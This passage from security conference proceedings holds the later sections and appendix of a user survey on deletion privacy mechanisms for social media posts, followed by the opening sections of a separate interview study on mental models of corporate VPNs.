ipant P46 stated: “It’s not effective at all but it is however the
most popular among the bunch listed. People (even me) like to
have full control over our social medias and tweets. Regard-
less if a malicious bot tries to collect sensitive information off
of us.”

Prescheduled Deletion [43]. In contrast to Selective dele-
tion, 63 (47%) participants pointed out that maintaining users’
deletion privacy is the positive use case of the mechanism.
However, 56 (41%) participants particularly disliked the fact
that the platform will not have an archive of their posts, and

eventually, everything is deleted. Participant P19 states: “It
could be EFFECTIVE (and thus, useful) because it would take
care of the issue of sensitive material being used maliciously.
However, effective doesn’t mean that I like the idea of it! It
would NOT useful because I like the idea of having access to
my old content (great for memories, etc.) and do NOT like the
idea of losing it forever because of some system.”

5 Discussion and Future Work

5.1 Users Deeply Care about Their Old Posts

In Section 4.3, we observed that the major hurdle for using
“Prescheduled Deletions” is the lack of archival posts. Before
the deployment of the survey, we suspected that it would be
a concern for the users. To that end, we added the following
two questions to observe the importance of post archives.

First, we asked—“How important is it for you that the
social platform archives all your posts (new and old) and
gives you the ability to access/view them at any time?”. 74%
of the participants stated that having access to their posts at
a later time has some level of importance (24% extremely
important, 33% very important, 17% slightly important). The
remaining 26% was split between 15% neutral and 11%, not
at all important.

We further asked—“How important is it for you that the
social platform archives all your posts (new and old) and
gives others (i.e., those whom you have given permission
to) the ability to access/view them at any time?”. 44% of
the participants stated this access pattern has some level of
importance (9% extremely important, 14% very important,
21% slightly important) to them. The remaining 56% was
split between 26% neutral and 30%, not at all important.

This highlights the fact that users care about their old posts
and want to be able to access their own posts and want others
(to some level) to be able to access them at later times.

5.2 Avenues to Improve Deletion Mechanisms

Before ending the survey, we wanted to capture whether par-
ticipants could think of other solutions for protecting sensi-
tive deletions on social platforms. To that end, we asked the
participants—“Can you think of any other technique that can
protect user deletions in the presence of the malicious entity?”

Many of the participants did not find any of the deletion
mechanisms to be very effective (see Figure 4), and 48.8%
(66 out of 135) of our participants proposed ideas to address
the problem of deletion privacy violation. Out of them, 43.9%
(29 participants) suggested that the deletion problem can be
erased altogether if users refrain from posting regrettable con-
tent and only maintain private accounts. Although this may
be the most effective solution to the problem of deletion pri-
vacy, it is the most impractical one as users cannot accurately
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Table 5: Users’ suggestions for other deletion mechanisms

Deletion Mechanism # of Votes User intervention

Prescheduled Deletions Variation 5 Yes
Proactive approaches 8 Yes
Rate-limiting the adversary 8 No
Text Morphing 4 No

predict what content would be damaging to them in the fu-
ture (e.g., before applying for a job or after a relationship
breakup) [38, 52, 58].

Table 5 summarizes the remaining responses. We divide
these user-proposed designs into two dimensions: i) variation
of Prescheduled deletion mechanisms, and ii) new proposed
mechanisms. We note that in-depth design, deployment, and
evaluation of these mechanisms is beyond this work. Instead,
these proposals paves way to promising future work and con-
crete actionable design considerations for future platform
developers.

5.2.1 Variation of Prescheduled Deletion

Participants considered Prescheduled Deletion as one of the
more effective solutions for hiding unwanted information.
However, as we observed in Section 5.1, the importance of
having an archive of the old posts outweighs the privacy im-
plications. Therefore, to no surprise, participants suggested
improvements that allows for some selective archival proce-
dure for at least the post owner. Participant P16 goes one step
further and requests the post’s availability for those who have
interacted with the post as well—“After a certain period of
time/activity, all public posts automatically turn into private
posts that can only be viewed by the owner and those who
interacted with it.”.

Future design implications: Instagram recently started to
provide similar functionalities and allows users to archive
their stories that can be accessed later. However, evaluating
the usability of this mechanism is a promising future work.

5.2.2 Newly proposed mechanisms

Proactive approaches to prevent the publication of sensi-
tive content. Eight participants pointed out different proac-
tive approaches, similar to [57, 61]. In these proposals, mul-
tiple classifiers (e.g., Neural Networks, Naive Bayes, etc.)
detect potential regrettable posts and advise users not to pub-
lish the posts. Participant P186 clearly explains the proactive
solution in his/her response—“Some kind of bot/AI that, based
on language and keywords, warn the user that their post may
be considered offensive or sensitive before they post it in the
first place meaning they can delete it before posting.”.

Future design implications: Although helpful, in some
cases, this proactive approach cannot prevent users from pub-
lishing future-regrettable posts [58]. Furthermore, these ap-
proaches create overhead for the platform and slightly affect

the freedom of publishing posts for users.

Rate-limiting the malicious entities. Eight participants
pointed out that the platforms should create barriers for the ma-
licious entities that collect the users’ data on a large-scale. For
example, participant P108 states—“Social networks could
make efforts to thwart bots and scrapers that collect posts
and also monitor profiles for deletions. Maybe IP limiting or
some sort of CAPTCHA style tech?”.

Future design implications: In this approach, the adver-
sary will not observe all the users’ profiles constantly, or it will
have blackout periods of the profiles (detecting deletions with
significant delay). However, this introduces a couple of chal-
lenges, such as the trade-off between transparency/openness
and privacy. Furthermore, rate-limiting large-scale crawlers
in social platforms remains to be a challenge [44, 55].

Morphing the posts’ text. Finally, four of the participants
suggest that users can edit their sensitive posts rather than
deleting them. When they become comfortable enough with
the edits, then they can either delete them or leave them on
their profile. Participant P62 wrote—“Altering the post com-
pletely and then delete it. If tried to recover, the post would
be completely different.”

Future design implications: This interesting proposal can
be considered a feature of the platform itself, where this tran-
sition of the texts is automated. This process would involve
syntactic (e.g., passivization, clefting, adjunct movement, etc.)
and semantic (e.g., grafting, pruning, substitution, etc.) trans-
formations. If the text morphing is performed without the
users’ input, then the platform itself will not know what is
sensitive to the users, which also removes the platform’s trust.
The only burden that the users will face is that the audience
of the posts at a later time will observe the morphed version
of the post and not the exact original text of the user.

6 Conclusion

In this study, we observed that the majority of users are delet-
ing their posts. There is a strong user-need for ensuring dele-
tion privacy in social platforms, as users consider deletions
a tool for removing sensitive, damaging, and embarrassing
content. Further, using contextual integrity, we demonstrated
the context-dependency of the rules for preserving deletion
privacy. The study identified that it is acceptable for the users
if the one-hop individuals (family members, friends) on their
social graphs become aware of their deletions but not the large-
scale data collecting actors (e.g., web-service data collectors
or the government). Furthermore, we showed that “Selective
Deletions” (the current deletion mechanism offered by many
social platforms) are inefficient in protecting to the users’
deletions. Finally, we highlighted the key factors that future
social platform designers should consider for attracting the
users while providing them deletion privacy.
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A Evaluation of Recently Proposed Deletion
Mechanisms

In this section, we present the participants evaluation of the
two recent proposed deletion mechanisms, namely the Inter-
mittent Withdrawal and Decoy Deletion mechanisms3.

Intermittent Withdrawal: Intermittent Withdrawal [40] of-
fers a deniability guarantee for users’ deletions using an
availability-privacy tradeoff. In this mechanism, all of the
non-deleted posts are intermittently hidden for some amount
of time. This hiding confuses an adversary while deciding
if an unavailable post is deleted by the user or temporarily
hidden by the platform.

Decoy Deletions: In Decoy Deletions [41], given a set of
damaging posts that users want to delete, the system selects k
additional non-damaging posts for each damaging post and
deletes them along with the damaging posts. The system-
selected posts (decoy posts) are taken from a pool of non-
damaging, non-deleted posts provided by volunteers. Decoy
Deletions raises the bar for the adversary to identify deleted
posts as they need to identify the sensitive or damaging post
among the k+1 deleted posts.

A.1 Effectiveness of Deletion Mechanisms in
Hiding the Unwanted information

Similar to Selective Deletion and Prescheduled Deletion, a
short video was shown to explain these two new mechanism
and its characteristics. Next, we asked—“In your opinion,
how effective is [Deletion Mechanism] in hiding your dam-
aging/sensitive posts in the presence of a malicious entity
who collects all deleted posts from a large number of users?”
We used a Likert scale for the responses: Not Effective at all
(0), Slightly Effective (1), Moderately Effective (2), Very Ef-
fective (3), Extremely Effective (4). The results are depicted
in Figure 4.

We statistically compared the effectiveness of different
deletion mechanisms by applying the Wilcoxon signed-rank
test to find the likelihood that these four groups of scores
come from the same distribution. We performed six (i.e.,
pairwise) such tests and set the threshold for significance to
α = 0.05/6 = 0.008 to account for the Bonferroni multiple-
testing correction.

The results show that “Selective deletions” (i.e., used by
many social platforms today) has a significantly different dis-
tribution from all the other three mechanisms with a mean of
0.77 Likert-scale points compared to 2.01–2.1. The remain-
ing deletion mechanisms do not have a significant difference
among each other.

3These two mechanisms have not been implemented in the social plat-
forms yet.
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Figure 4: Effectiveness of deletion mechanisms (deployed and proposed) in hiding the damaging content of the users.

A.2 Characteristics of the mechanisms useful
to users

In addition to the effectiveness question, in the form of a free-
text box, we asked the participant to describe cases where they
find the mechanisms to be useful and/or NOT useful to them.
We categorized the responses into eight categories, where
each corresponds to a characteristic of a mechanism in Table 6
(An additional “other” category is omitted from the analysis).
The first four characteristics cover the positive aspects of
the deletion mechanisms, and the second four characteristics
point out their shortcomings.

Previously, we observed that “Prescheduled Deletions”,
“Intermittent Withdrawals”, and “Decoy Deletions” all have
the same effectiveness in terms of protecting the users’ dam-
aging/sensitive deletions. In fact, providing privacy to the
removal of sensitive content was noted as the highlight of the
mechanism in the usefulness question. However, as we see
in Table 6, each mechanism has a particular deficiency that
may become a barrier for their use.

Prescheduled Deletions [43]. For this mechanism, partici-
pants particularly disliked the fact that the platform will not
have an archive of their posts and eventually everything is
deleted. Participant P19 states: “It could be EFFECTIVE
(and thus, useful) because it would take care of the issue of
sensitive material being used maliciously. However, effective
doesn’t mean that I like the idea of it! It would NOT useful
because I like the idea of having access to my old content
(great for memories, etc.) and do NOT like the idea of losing

it forever because of some system.”

Intermittent Withdrawal [40]. In this mechanism, all the
non-deleted posts are intermittently hidden for some amount
of time by the system. Therefore, the users felt a lack of
control over their posts and profiles. Participant P15 said:

“This system could be useful if i made a sensitive post that I
later decided to delete. However, it could also be problematic
if a social platform randomly made an important post that I
needed my audience to see, invisible for a period of time.”

Decoy Deletions [41]. In this mechanism, for each damag-
ing/sensitive post, a set of decoy posts that are not damag-
ing/sensitive to their owners (other users in the system) are
selected to be deleted with the true damaging post. This pro-
cedure confuses the malicious entity in distinguishing which
of the posts in the deleted set are the damaging/sensitive posts.
Although many users found this tactic effective and novel, the
dependability on a pool of decoy posts from other users pre-
vented them from finding the mechanism useful. Participant
P119 stated: “this technique could be very effective if you
want to delete a post and protect it from the entity. However
it is hard too find the decoy post.”

Selective Deletions [42]. As we observed previously, “Selec-
tive Deletions” was voted the least effective deletion mecha-
nism in protecting the damaging deletions of the users. How-
ever, in the usefulness question, we see that it holds a unique
characteristic that users admire. Giving the users full control
of their posts and profile seems to be an advantage of this
mechanism. Participant P46 stated: “It’s not effective at all
but it is however the most popular among the bunch listed.

Table 6: Deletion mechanisms’ characteristics.

Deletion Mechanism
Maintain
Privacy

User in
Control

Maintains
Archive

No Assistance
Needed No Privacy

Limited
User Control No Archive

Need of
Assistance

Selective Deletions [42] 11 (8%) 28 (21%) 7 (5%) — 95 (70%) — — —
Prescheduled Deletions [43] 63 (47%) — — — 18 (13%) 14 (10%) 56 (41%) —
Intermittent Withdrawals [40] 77 (57%) 4 (3%) 7 (5%) 1 (1%) 23 (17%) 29 (21%) — —
Decoy Deletions [41] 66 (49%) 1 (1%) 1 (1%) — 15 (11%) 10 (7%) 9 (7%) 27 (20%)

USENIX Association 31st USENIX Security Symposium    3431



People (even me) like to have full control over our social me-
dias and tweets. Regardless if a malicious bot tries to collect
sensitive information off of us.”

To no surprise, we see that in some cases, users will sacri-
fice their privacy over the usability of the system. This work is
an initial step towards discovering the needs of the users and
maintaining a balance between usability and deletion privacy.

A.3 A Significant Number of Users’ are Will-
ing to Help to Enhance Deletion Privacy
in Decoy Deletion Mechanisms

Earlier in this section, we saw that “Decoy Deletions” benefits
from a pool of volunteer posts to provide privacy to the sensi-
tive/damaging deletions. We further saw in Appendix A.2 that
users were worried about the need for assistance from other
users’ of the system for their sensitive/damaging deletions.
Once again, before the survey’s deployment, we suspected
that the construction of the decoy pool could be a burden
for some of the users. However, to see the users’ willingness
to protect the damaging deletions of themselves and others,
we asked the participants—“Imagine that Decoy Deletions
is available to you on a platform. Would you be willing to
offer some of your non-sensitive/non-damaging posts that you
won’t mind getting removed from your profile to be added
to the decoy pool in order to protect the sensitive/damaging
deletions of yourself and other users?”. 41% of the partici-
pants responded Yes (12% definitely yes, 29% probably yes),
39% of the participants responded No (13% definitely no,
26% probably no), and the remaining 20% responded with
“might or might not”.

This shows that although the construction of the decoy pool
and the need for assistance from other users is a concern for
some users, there are a significant number of participants that
are willing to contribute to the pool.

A.4 Variations of Intermittent Withdrawal
and Decoy Deletion Mechanisms

This section is a continuation of Section 5.2, where we asked
the participants—“Can you think of any other technique that
can protect user deletions in the presence of the malicious en-
tity?” Here, we are presenting the participants’ proposals for
the Intermittent Withdrawal and Decoy Deletion variations.

A.4.1 Variation of Intermittent Withdrawal

Participants felt that the main downside of intermittent with-
drawal is that the non-deleted posts are affected (i.e., they are
hidden periodically), and users have limited control over them.
To that end, participant P24 suggested that the intermittent
withdrawal process should happen only when others are not
viewing the user’s profile (e.g., during late at night).

Future design implications: The user proposal (restricting
the time of hiding) helps utility and usability of the mecha-
nism but significantly affects deletion privacy–once the de-
terministic intermittent withdrawal period ends (i.e., in the
morning), the deleted posts will be immediately revealed.

A more effective improvement for future designers might
be to delay the intermittent process for the newly-created
posts for a cool-down period, since the majority of a posts’
interactions and views happen within the first few hours or
days after post upload. However, there is a trade-off—if within
this initial cool-down period, users decide to delete their posts
their deletion privacy will be violated. Identifying this trade-
off between right duration of cool down period and enabling
the protection of intermittent withdrawal necessitates a system
design consideration for the future designers.

A.4.2 Variation of Decoy Deletions

Decoy Deletions was one of the most interesting mechanisms
for the participants, resulting in multiple proposed variants
to improves usability. One prominent proposal was to reduce
the need for assistance from other users by generating the
decoy posts (e.g., random and non-sensitive posts or even
contradictory posts) by posters themselves and then, at a later
time, delete them altogether with the intended post.

Future design implications: An interesting future work
for resolving the problem of gathering decoy posts can be
to use bot accounts to generate and disseminate synthetic
decoy posts using generative language models like GPT-3 and
BERT [23, 25]. However, the key challenges—creating user-
alike posts as well as the evading detection of bot accounts
are both active research fields [22, 24, 26, 28, 53, 56].
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Abstract
With the worldwide COVID-19 pandemic in 2020 and

2021 necessitating working from home, corporate Virtual
Private Networks (VPNs) have become an important item
securing the continued operation of companies around the
globe. However, due to their different use case, corporate
VPNs and how users interact with them differ from public
VPNs, which are now commonly used by end-users.

In this paper, we present a first explorative study of eleven
experts’ and seven non-experts’ mental models in the context
of corporate VPNs. We find a partial alignment of these mod-
els in the high-level technical understanding while diverging
in important parameters of how, when, and why VPNs are
being used. While, in general, experts have a deeper technical
understanding of VPN technology, we also observe that even
they sometimes hold false beliefs on security aspects of VPNs.
In summary, we show that the mental models of corporate
VPNs differ from those for related security technology, e.g.,
HTTPS.

Our findings allow us to draft recommendations for practi-
tioners to encourage a secure use of VPN technology (through
training interventions, better communication, and system de-
sign changes in terms of device management). Furthermore,
we identify avenues for future research, e.g., into experts’
knowledge and balancing privacy and security between sys-
tem operators and users.

1 Introduction

Virtual Private Networks (VPNs) have become a cornerstone
of security advice for Internet users. They are used to counter
censorship [66], geographical content filters [41], state-level
surveillance [47], corporate privacy invasions [43], and threats
of insecure local Internet access [34]. Especially the rise of
commercial VPN providers puts VPNs on the list of popular
security tools employed by individual end-users on the Inter-
net [34]. As such, VPN usage by end-users receives increasing
attention in recent empirical studies [26, 34, 45, 61].

However, this perspective on private end users’ use of VPN
services neglects other—equally important and far older—use
cases of VPNs, i.e., the use of VPNs in a corporate context to
manage and connect remote workstations to internal corporate
resources. Especially due to the COVID-19 pandemic in 2020
and 2021 and the associated work-from-home orders, the
importance of these corporate VPNs has risen, as highlighted
by the increased deployment of corporate VPNs during the
first wave of COVID-19 related lockdowns [22]. Moreover,
data handled via these VPNs used in a professional context
may be highly sensitive and confidential.

Hence, it is important to understand how, when, and why
corporate users—trained IT professionals and non-experts—
do or do not use VPNs, how they see the impact of these tools
on the threat landscape, and how they think VPNs work. By
exploring the perception of VPNs by users in a corporate
context, i.e., by eliciting their mental models, we can more ac-
curately tailor training interventions to these populations [29,
57], identify use cases that have been so far overlooked to
further improve the usability of these tools, and lay the foun-
dation of further quantitative studies on the subject to get a
globally representative picture. This is especially important
if—as in our case—the mental models we find differ from
those already found in the context of similar Internet security
technology, e.g., HTTPS [25, 36].

In this paper, we conduct a qualitative study in a large con-
sultancy firm’s1 regional office, located in the Netherlands,
to describe the mental models of experts and non-experts
in the context of corporate VPN usage. We recruit experts
(participants holding additional IT and IT security-related
qualifications) and non-experts (participants from non-IT re-
lated departments in non-technical roles, e.g., HR and finance)
for semi-structured interviews. We find that the mental mod-
els of experts and non-experts actually align on an abstract
level but diverge in the groups’ perspectives on the threat land-
scape. Based on the data we collected, we make the following
contributions:

1See the Big Four (PwC, Deloitte, E&Y, and KPMG) for comparable
organizations in terms of services offered and size.
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• We identify mental models for the use of VPNs in a cor-
porate context for experts and non-experts, and find that
these are fundamentally aligned but diverge in perspec-
tive on threat models and privacy.

• We identify issues limiting the use of VPNs (policy
limitations, privacy concerns) among experts and non-
experts, and connect them to the differences in mental
models we identify.

• We document limitations in the technical understanding
of VPNs, even among experts, and provide a discussion
about potential causes.

• We provide concrete steps for security practitioners to
improve the security-related efficacy of VPNs in their
corporation.

• We provide the first step to future qualitative and quan-
titative studies in the context of VPNs, and share our
interview transcripts and code-books with the commu-
nity as open data.

Structure: We first present our methodology—including eth-
ical considerations—in Section 2, where we also describe the
specific VPN solution used in our participant population in
Section 2.4. We then provide an overview of the results in Sec-
tion 3 and derive the mental models in Section 4. Finally, we
first discuss our results and provide recommendations rooted
in our data in Section 5, before comparing our results with
related work in Section 6, and concluding in Section 7.

2 Research Methodology

In this section, we present the design and procedure of our
study, including how we recruit participants and how we col-
lect and analyze our data.

2.1 Study Design
A mental model is a representation of a person’s knowledge
of a subject, see, e.g., Sanders & Stappers [59]. To elicit the
mental models of VPN technology of our participants, we
combine techniques previously used in the literature. Specifi-
cally, we combine semi-structured interviews with a drawing
task, similar to Krombholz et al. [36] and Mayer et al. [39].
By combining these two methods, we obtain data on how our
participants visualize their mental model [44], but also get
information on how they reason about these concepts and
which relationships they see between different parts of the
model. Hence, our method aids us in structuring [13] and
verifying [30] our participants’ mental models, while also
reducing participant fatigue [27]. Moreover, drawing is a tech-
nique that many people are familiar with, and it offers a lot of
freedom of expression.

Based on related work [11, 28, 44] and a general grounded
theory approach [63], we designed open-ended and semi-
structured interview questions and additional drawing tasks
that included three scenarios:

1. Using the corporate VPN from one’s home-office
2. Using the corporate VPN while being at a coffee bar
3. Sending an e-mail while using the corporate VPN

Please see Appendix A for the full interview protocol. Further-
more, we asked participants to think aloud while drawing [24],
to form a concurrent verbal report (instead of retrospection),
as it captures more consistent information about participants
mental processes than retrospection [24].

All interviews were conducted via an online video confer-
encing software with an integrated digital whiteboard. Record-
ings were created using the platform for later analysis, which
also included the drawings made by the participants.
Interview Language: The language used for the interviews
was either Dutch or English, and the informed consent form
was available in the interviewees’ language. Excerpts from
Dutch interviews in this paper have been translated, but anal-
ysed in their original form. The interviews were analyzed in
their corresponding language by Dutch native speakers.
Pilot Interviews: We validated the study design with pilot
interviews. Validation focused on the understandability and
unambiguous interpretation of the interview protocol. Addi-
tionally, we audited the answers from the pilot interviews to
detect potential bias due to the wording of the questions.

We conducted four pilot interviews with participants not
included in our final sample. Based on the outcomes of these
initial interviews, we adjusted the protocol and evaluated it
on two more experts and three non-experts. No further issues
surfaced during this second round of pilot interviews.

2.2 Ethical Considerations

To mitigate any possible risk for participants and the asso-
ciated company, we anonymized the interview transcripts
and drawings, and only report aggregate demographics. The
signed consent forms do not contain any links to the inter-
view transcripts. PII (email addresses, recordings, drawings,
non-aggregate demographics) was deleted after the study.

Participants were informed of the purpose of this study
via the recruitment email and the informed consent form, see
Appendix B. These documents made them aware that we col-
lect aggregated demographic information and anonymized
versions of the interview transcripts and produced drawings.
We informed them that this data would be made public for a
minimum retention period of 10 years via an open data repos-
itory. Furthermore, the participants were informed about their
subject data access rights, i.e., that—before anonymization,
see below—they could retract their consent to participate in
the study at any time, and have the right to request access to
and rectification or erasure of personal data. Nobody except
the project research team had access to the unredacted data.

This research project was reviewed and approved by the
Delft University of Technology Human Research Ethics Com-
mittee (reference number: 55223).
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Table 1: Demographics
The interviewed experts reported the following certifications in IT-
auditing: EMITA or CISA; in Privacy: CIPP/E, CIPM, FIP, CIPT, DPO;
and in Cybersecurity: CISSP, CSX-P or ISO27001. Percentages do not
add up to 100% as one participant may hold multiple qualifications.

Area Variable/Scale Experts Non-Experts
(n = 11) (n = 7)

Education Master 9 (82%) 6 (86%)
Bachelor 2 (18%) 1 (14%)

Additional
certificates

IT-audit 7 (64%) -
Privacy 6 (55%) -
Cybersecurity 5 (45%) -

Area of
expertise

Business administration 4 (36%) 3 (43%)
Computer science 4 (36%) 1 (14%)2

Crisis/security management 1 (9%) -
Engineering, non-CS 3 (27%) -
Law 1 (9%) 2 (29%)
Accountancy - 1 (14%)
Marketing - 1 (14%)
Sociology - 2 (29%)

Role in
the firm

Department director 0 (0%) 2 (29%)
Department manager 3 (27%) 2 (29%)
Staff 8 (73%) 3 (43%)

Years in
the firm

Median 4 6
Min–Max (1,5–6,5) (1–34)

2.3 Participants and Recruitment

We recruited our participants from the employees of a profes-
sional consulting firm offering a wide range of services from
financial auditing to IT security assessments. The participants
were working in the Dutch office, and recruited via corporate
channels, i.e., after management buy-in individual department
chairs were contacted and asked to share our interview adver-
tisement with employees in their department corresponding
to our sampling criteria, see below. Nevertheless, participa-
tion in the study was voluntary, and informed consent was
explicitly collected, see Sec. 2.2.

Following our objective of comparing experts’ and non-
experts’ mental models, we sampled for ‘experts’ in terms of
computer security and ‘non-experts’. For our study, we con-
sidered participants as experts if they worked in an applied
technical role in an information technology-related depart-
ment of the company for at least two years or held a relevant
technical certification or degree (e.g., EMITA, CISA, CISSP).
Non-Experts are participants who work in a non-technical role
in a non-technical department, such as legal, finance, and HR,
and do not hold a degree or certification related to computer
security. Nevertheless, we ensure that all participants work in
roles that include handling and/or processing confidential or
personally identifiable information. Furthermore, due to the
company’s ongoing work-from-home order, all participants
had experience using the corporate VPN.

2The non-expert listed as a computer scientist does not have a background
in applied computer science, i.e., computer security, computer networks,
programming, or IT operations.

We iteratively analyzed interviews and recruited additional
participants until we reached theoretical saturation [11, 63].
We considered theoretical saturation to be reached once three
subsequent interviews did not contribute new concepts. In
total, we performed 18 interviews, 11 with experts and 7 with
non-experts before reaching theoretical saturation for the over-
all sample. See Table 1 for an overview of our participants.

2.4 VPN Used by Interviewee Population

Here, we describe the VPN technology used by the organiza-
tion in which we conduct our study. Note that different VPN
technologies exist. We discuss how the specific technology
used here may influence users’ mental models in Section 5.2.
VPN Product Overview: The organization in which we con-
duct our study uses a product ultimately supplied by a major
network device vendor. However, they source it via a third
party supplier that provides custom white-labeled client and
integration services. This integration provides—instead of
the generic client which would be provided by the vendor
directly—a CI (Corporate Identity) compliant login interface.
This login interface abstracts the technical configuration of
the clients away, and instead only requires users to input their
username, password, and two-factor authentication (2FA) to-
ken.
Technical Description: The specific VPN used in the com-
pany is encapsulation based. Practically, this means that, at
the client, a virtual TUN(nel) interface is created. This inter-
face appears to the local system like any other interface, and
receives a local IP address as well as an IP address for the
remote system to configure a point-to-point IP only config-
uration [56]. When an application sends to a socket on this
interface, the resulting packet is handed off to the VPN appli-
cation, which then encapsulates this packet in a packet that is
part of the established TLS session with the VPN server. The
resulting packet is then sent by the VPN application via the
external interface of the client to the VPN server. Receiving
packets then works analogously, with the VPN application
decapsulating packets. The whole process is transparent for
the application.

The company’s VPN utilizes IPSec in tunneling mode for
encapsulation. However, as IPSec relies on IKE messages to
be exchanged via UDP/500, users may experience issues on
public networks with a restrictive outbound firewalling pol-
icy [31]. To counteract this, the used VPN solution addition-
ally encapsulates IPSec traffic in a TLS session with the VPN
endpoint. Please note that this indeed leads to double encryp-
tion of traffic, as the vendor documentation notes [31]. While
the application also supports tunneling over port TCP/443
without an additional TLS session, this approach makes the
VPN more robust against application-level firewalls [31].
Note that, similarly to our organization, major VPN providers
on the consumer market use TLS encapsulation for similar
reasons [48].
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Network and Routing Setup: Depending on the use-case,
all network traffic, or only traffic for selected destinations, e.g.,
internal company resources, may be sent via a VPN. In the
organization from which we recruit participants, all network
traffic—apart from traffic directed towards the VPN endpoint
itself—is redirected via the VPN connection.

2.5 Data Analysis
To analyze the collected qualitative data, we followed a pro-
cess inspired by grounded theory [16, 17], with four steps:
open coding, axial coding, selective coding, and theory gen-
eration (or in our case, model generation). This approach is
commonly used in similar studies [36] to analyze qualitative
data and build corresponding theoretical models.

For the open coding step, we include i) descriptive cod-
ing where the code represents the topic of the statement, ii)
process coding where codes represent actions described in
the data, and iii) value coding where codes represent values,
attitudes and beliefs, following Saldana et al. [58].
Codebook Creation: At the beginning of the coding process,
two authors developed an initial codebook based on inde-
pendent coding of two interview transcripts and consequent
discussion for reaching an agreement. After, the axial coding
grouped the codes into categories and explored the relation-
ships between categories and between codes in categories.
Open coding and axial coding were performed iteratively.
During the coding process, the researcher used memo writing
to keep track of the thought process and theory development.
This way, we could document which new codes were devel-
oped and why, which were difficult to differentiate, and what
patterns and themes emerged. Via these steps and constant
communication between the coders, we developed a final
codebook after analyzing all interviews.
Reliability: The intermediary codebook was used for double
coding on three interviews to ensure that the coders inter-
preted the data in the same way. We calculated the Krippen-
dorff c-alpha-binary [35] using ATLAS.ti3. This process lead
to a c-alpha binary of 0.724. As recommended by Barbour [6],
we explored the disagreements to develop more nuanced and
useful codes. The disagreements were mainly due to i) a dif-
ferent application of ‘concept codes’, and ii) differences in
quotation length, i.e., differences in the length of annotated
segments between the coders. After solving these disagree-
ments and creating a final codebook, see Appendix C, the
overall c-alpha binary reached 0.837, with all semantic do-
mains being equal to or above 0.74 for the three interviews
coded by both coders. This indicates a reliable codebook.
Additional Closed Coding: To analyze participants’ percep-
tion of changes in the threat landscape, we coded the related
part of the transcripts in a partially closed manner. We did it
to align our observations with existing threat frameworks and

3To code qualitative data we used ATLAS.ti 8 for Windows http://www.
atlasti.com/.

evaluate the accuracy of the perception of the current threat
landscape. We used the MITRE ATT&CK framework [42] to
code threat types, the typology by de Bruijne et al. [10] for
threat actors, the typology by Casey [14] for threat motivation,
the Threat Agent Library [15] for threat capability, and the
Cyber Security Assessment Netherlands 2019 report by the
Dutch NCSC [46] for threat impact coding.
Accuracy of the Mental Models: To evaluate the technical
accuracy of the mental models solicited from participants,
we compare them to the technical information presented in
Section 2.4. To evaluate the accuracy of the perception of
the current threat landscape by participants, we compared the
results for threats, threat actors, and threat impact with the
threat matrix in the Cyber Security Assessment Netherlands
2019 report [46].

3 Results

We cluster our results with respect to three major themes:
i) Our participants’ perspective on using a VPN, i.e., why
(in which use cases) they use VPNs, on which devices they
use them, and how they interact with the software, ii) Our
participants’ concept of how VPNs work from a technical
point of view, and, iii) Our participants’ perspective on how
VPNs change the threat landscape for them, i.e., which threats
are mitigated by VPNs and which may be introduced by them.
We provide a structured overview of our codebook and code-
counts in Table 2 in Appendix C.

3.1 VPN Usage
In this subsection, we describe our findings on how and why
experts and non-experts use VPNs, and in which situations
they do so. We note that, although our interview script only
references ‘VPN’, all participants were either able to expand
this abbreviation explicitly to ‘Virtual Private Network’ (6
experts (E) and 2 non-experts (NE)), or could do so implicitly
using general description or metaphors like "tunnel".
Devices Used and Connection Establishment: Experts and
non-experts indicate using their personal computer (all par-
ticipants), mobile phone (6 E / 4 NE), or tablet (2 E / 1 NE)
to establish a VPN connection. For the process of connecting
to (their specific) corporate VPN, participants in general de-
scribed the same process (see C-codes in Table 2): i) connect
to the Internet, ii) launch the VPN software, iii) enter creden-
tials, iv) enter 2-factor token, and, v) click the connect button
in the VPN software.

Interestingly, as one non-expert notes explicitly, we find
that non-experts see the procedure as part of their routine, and
not them explicitly starting a VPN:

"Well, I press an icon at the bottom of my taskbar, because
I put it there. Then I enter my personal password plus the,
what are they, five digits that appear on the [VPN of the
company] app. And together they connect to the intranet
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of [the company]. I do not specifically start the VPN. But
my presumption is that that is behind it. That the intranet
applications all are accessible via a VPN connection and
that you start it up automatically with [the VPN of the
company]." [Non-Expert 7]

This is supported by the fact that only 3 experts and 3 non-
experts mentioned that they "click connect to VPN" (see C.4.
in Table 2). This also highlights the importance of integrating
the VPN practice into the workflow to ensure its use.
Use cases: Our participants from both samples mirrored the
use cases already outlined in Section 2.4. That is, they use the
company’s VPN for: i) Getting access to internal company
resources not accessible via the Internet (mentioned by all
participants), and, ii) Securing their network access against
local eavesdropping (10 E / 6 NE).

With regard to the first use case, we found significant con-
fusion, even among experts, of which resources are within the
scope of the VPN, i.e., which resources require the VPN to
be accessible. One expert noted:

"For work, I only use my laptop. For my mobile device [. . . ]
I don’t know the name of the application, but [example of
a mobile application used for work], and I suspect that’s
also somehow secured. [. . . ] you do receive a message
that it is encrypted. So I expect it to be, yes, I don’t know
if it’s really a VPN, but I do expect it to be somehow, um,
secure." [Expert 2]

Still, the same expert notes that certain resources are exempt
from requiring the VPN, even though they are internal, for
example, email:

"But email, if I only have to use email and [cloud software],
then I leave the VPN off because then it is not necessary."
[Expert 2]

Ultimately, we attribute this confusion to recent changes in
the local security policy, and insufficient communication of
the new policy:

"And I know, for example, that previously it was necessary
for our mail traffic to go via the [company’s] network and
that is no longer the case nowadays." [Expert 11]

The second use case is usually invoked around the users’
perception of the local network being insecure, for example,
when using an open WiFi in an airport, train, or cafe. By
contrast, a home network is often considered to be ‘more
secure’.

"[. . . ] if I look at my home situation then [. . . ] I only have
one person who logs in, who has the password for the
router. At a cafe connection or [airport] you have more
people logging in on the same network. I don’t know if
that’s [. . . ] safe or not. I assume that the moment you use
your VPN that it is safe." [Non-Expert 5]

Nevertheless, we also find doubt (especially among experts)
on whether a VPN actually is sufficiently secure (see Sec-
tion 3.2). One expert and one non-expert had similar doubts

about whether it is secure to use a VPN if the local network
seems insecure (see J.10. in Table 2).

"I am worried that someone tries to target my system, just
because I have sensitive information and I am connected
to a publicly accessible network, which may or may not be
very secure. [. . . ] I know there are a lot of hacks possible
from a network which is not secure, especially when you’re
connecting VPN [. . . ] " [Expert 5]

In that case, 5 experts recommended using other ways to
connect to the Internet, e.g., using tethering with one’s mobile
phone instead of a public WiFi (see A.4. in Table 2).

"When I’m somewhere, like an airport or [restaurant], I
just use my phone, that’s a 4G network, that’s my own
network, so nobody can [. . . ] listen in on it, eavesdrop. "
[Expert 1]

